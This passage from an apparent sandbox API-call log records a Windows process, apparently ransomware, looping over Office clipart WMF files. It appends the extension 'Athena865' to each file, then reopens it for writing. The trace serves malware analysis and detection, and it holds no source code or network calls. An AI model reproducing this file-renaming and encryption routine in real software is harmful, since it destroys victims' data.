9 [0125.641] lstrcmpiW (lpString1="07500.WMF", lpString2="Athena865") returned -1 [0125.641] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.Athena865") returned 73 [0125.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.athena865"), dwFlags=0x1) returned 1 [0125.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.642] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4200) returned 1 [0125.646] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107502.WMF" | out: lpString1="J0107502.WMF") returned="J0107502.WMF" [0125.646] lstrlenW (lpString="J0107502.WMF") returned 12 [0125.646] lstrlenW (lpString="Athena865") returned 9 [0125.646] lstrcmpiW (lpString1="07502.WMF", lpString2="Athena865") returned -1 [0125.646] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.Athena865") returned 73 [0125.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.athena865"), dwFlags=0x1) returned 1 [0125.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.647] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10836) returned 1 [0125.650] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107512.WMF" | out: lpString1="J0107512.WMF") returned="J0107512.WMF" [0125.650] lstrlenW (lpString="J0107512.WMF") returned 12 [0125.650] lstrlenW (lpString="Athena865") returned 9 [0125.650] lstrcmpiW (lpString1="07512.WMF", lpString2="Athena865") returned -1 [0125.650] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.Athena865") returned 73 [0125.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.athena865"), dwFlags=0x1) returned 1 [0125.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.654] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11404) returned 1 [0125.659] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107514.WMF" | out: lpString1="J0107514.WMF") returned="J0107514.WMF" [0125.659] lstrlenW (lpString="J0107514.WMF") returned 12 [0125.659] lstrlenW (lpString="Athena865") returned 9 [0125.659] lstrcmpiW (lpString1="07514.WMF", lpString2="Athena865") returned -1 [0125.659] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.Athena865") returned 73 [0125.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.athena865"), dwFlags=0x1) returned 1 [0125.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.660] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12204) returned 1 [0125.669] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107516.WMF" | out: lpString1="J0107516.WMF") returned="J0107516.WMF" [0125.669] lstrlenW (lpString="J0107516.WMF") returned 12 [0125.669] lstrlenW (lpString="Athena865") returned 9 [0125.669] lstrcmpiW (lpString1="07516.WMF", lpString2="Athena865") returned -1 [0125.670] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.Athena865") returned 73 [0125.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.athena865"), dwFlags=0x1) returned 1 [0125.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.672] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14008) returned 1 [0125.676] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107526.WMF" | out: lpString1="J0107526.WMF") returned="J0107526.WMF" [0125.676] lstrlenW (lpString="J0107526.WMF") returned 12 [0125.676] lstrlenW (lpString="Athena865") returned 9 [0125.676] lstrcmpiW (lpString1="07526.WMF", lpString2="Athena865") returned -1 [0125.676] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.Athena865") returned 73 [0125.676] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.athena865"), dwFlags=0x1) returned 1 [0125.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.678] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7948) returned 1 [0125.682] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107528.WMF" | out: lpString1="J0107528.WMF") returned="J0107528.WMF" [0125.682] lstrlenW (lpString="J0107528.WMF") returned 12 [0125.682] lstrlenW (lpString="Athena865") returned 9 [0125.682] lstrcmpiW (lpString1="07528.WMF", lpString2="Athena865") returned -1 [0125.682] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.Athena865") returned 73 [0125.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.athena865"), dwFlags=0x1) returned 1 [0125.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.683] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6792) returned 1 [0125.686] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107544.WMF" | out: lpString1="J0107544.WMF") returned="J0107544.WMF" [0125.686] lstrlenW (lpString="J0107544.WMF") returned 12 [0125.686] lstrlenW (lpString="Athena865") returned 9 [0125.686] lstrcmpiW (lpString1="07544.WMF", lpString2="Athena865") returned -1 [0125.686] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.Athena865") returned 73 [0125.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.athena865"), dwFlags=0x1) returned 1 [0125.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.687] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26768) returned 1 [0125.692] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107658.WMF" | out: lpString1="J0107658.WMF") returned="J0107658.WMF" [0125.692] lstrlenW (lpString="J0107658.WMF") returned 12 [0125.692] lstrlenW (lpString="Athena865") returned 9 [0125.692] lstrcmpiW (lpString1="07658.WMF", lpString2="Athena865") returned -1 [0125.692] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.Athena865") returned 73 [0125.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.athena865"), dwFlags=0x1) returned 1 [0125.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.695] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7072) returned 1 [0125.697] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107708.WMF" | out: lpString1="J0107708.WMF") returned="J0107708.WMF" [0125.697] lstrlenW (lpString="J0107708.WMF") returned 12 [0125.697] lstrlenW (lpString="Athena865") returned 9 [0125.697] lstrcmpiW (lpString1="07708.WMF", lpString2="Athena865") returned -1 [0125.697] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.Athena865") returned 73 [0125.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.athena865"), dwFlags=0x1) returned 1 [0125.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.699] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4808) returned 1 [0125.702] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107712.WMF" | out: lpString1="J0107712.WMF") returned="J0107712.WMF" [0125.702] lstrlenW (lpString="J0107712.WMF") returned 12 [0125.703] lstrlenW (lpString="Athena865") returned 9 [0125.703] lstrcmpiW (lpString1="07712.WMF", lpString2="Athena865") returned -1 [0125.703] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.Athena865") returned 73 [0125.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.athena865"), dwFlags=0x1) returned 1 [0125.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.704] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4636) returned 1 [0125.709] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107718.WMF" | out: lpString1="J0107718.WMF") returned="J0107718.WMF" [0125.710] lstrlenW (lpString="J0107718.WMF") returned 12 [0125.710] lstrlenW (lpString="Athena865") returned 9 [0125.710] lstrcmpiW (lpString1="07718.WMF", lpString2="Athena865") returned -1 [0125.710] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.Athena865") returned 73 [0125.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.athena865"), dwFlags=0x1) returned 1 [0125.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.711] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3800) returned 1 [0125.716] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107722.WMF" | out: lpString1="J0107722.WMF") returned="J0107722.WMF" [0125.716] lstrlenW (lpString="J0107722.WMF") returned 12 [0125.716] lstrlenW (lpString="Athena865") returned 9 [0125.716] lstrcmpiW (lpString1="07722.WMF", lpString2="Athena865") returned -1 [0125.716] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.Athena865") returned 73 [0125.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.athena865"), dwFlags=0x1) returned 1 [0125.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.717] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8260) returned 1 [0125.720] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107724.WMF" | out: lpString1="J0107724.WMF") returned="J0107724.WMF" [0125.720] lstrlenW (lpString="J0107724.WMF") returned 12 [0125.720] lstrlenW (lpString="Athena865") returned 9 [0125.720] lstrcmpiW (lpString1="07724.WMF", lpString2="Athena865") returned -1 [0125.720] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.Athena865") returned 73 [0125.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.athena865"), dwFlags=0x1) returned 1 [0125.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.723] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7016) returned 1 [0125.725] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107728.WMF" | out: lpString1="J0107728.WMF") returned="J0107728.WMF" [0125.725] lstrlenW (lpString="J0107728.WMF") returned 12 [0125.725] lstrlenW (lpString="Athena865") returned 9 [0125.725] lstrcmpiW (lpString1="07728.WMF", lpString2="Athena865") returned -1 [0125.725] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.Athena865") returned 73 [0125.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.athena865"), dwFlags=0x1) returned 1 [0125.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.727] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5492) returned 1 [0125.730] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107730.WMF" | out: lpString1="J0107730.WMF") returned="J0107730.WMF" [0125.730] lstrlenW (lpString="J0107730.WMF") returned 12 [0125.730] lstrlenW (lpString="Athena865") returned 9 [0125.730] lstrcmpiW (lpString1="07730.WMF", lpString2="Athena865") returned -1 [0125.730] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.Athena865") returned 73 [0125.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.athena865"), dwFlags=0x1) returned 1 [0125.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.732] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3060) returned 1 [0125.735] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107734.WMF" | out: lpString1="J0107734.WMF") returned="J0107734.WMF" [0125.735] lstrlenW (lpString="J0107734.WMF") returned 12 [0125.735] lstrlenW (lpString="Athena865") returned 9 [0125.735] lstrcmpiW (lpString1="07734.WMF", lpString2="Athena865") returned -1 [0125.735] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.Athena865") returned 73 [0125.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.athena865"), dwFlags=0x1) returned 1 [0125.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.737] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3140) returned 1 [0125.741] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107742.WMF" | out: lpString1="J0107742.WMF") returned="J0107742.WMF" [0125.741] lstrlenW (lpString="J0107742.WMF") returned 12 [0125.741] lstrlenW (lpString="Athena865") returned 9 [0125.741] lstrcmpiW (lpString1="07742.WMF", lpString2="Athena865") returned -1 [0125.741] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.Athena865") returned 73 [0125.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.athena865"), dwFlags=0x1) returned 1 [0125.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.743] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3644) returned 1 [0125.745] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107744.WMF" | out: lpString1="J0107744.WMF") returned="J0107744.WMF" [0125.745] lstrlenW (lpString="J0107744.WMF") returned 12 [0125.745] lstrlenW (lpString="Athena865") returned 9 [0125.746] lstrcmpiW (lpString1="07744.WMF", lpString2="Athena865") returned -1 [0125.746] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.Athena865") returned 73 [0125.746] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.athena865"), dwFlags=0x1) returned 1 [0125.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.748] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5004) returned 1 [0125.750] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107746.WMF" | out: lpString1="J0107746.WMF") returned="J0107746.WMF" [0125.751] lstrlenW (lpString="J0107746.WMF") returned 12 [0125.751] lstrlenW (lpString="Athena865") returned 9 [0125.751] lstrcmpiW (lpString1="07746.WMF", lpString2="Athena865") returned -1 [0125.751] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.Athena865") returned 73 [0125.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.athena865"), dwFlags=0x1) returned 1 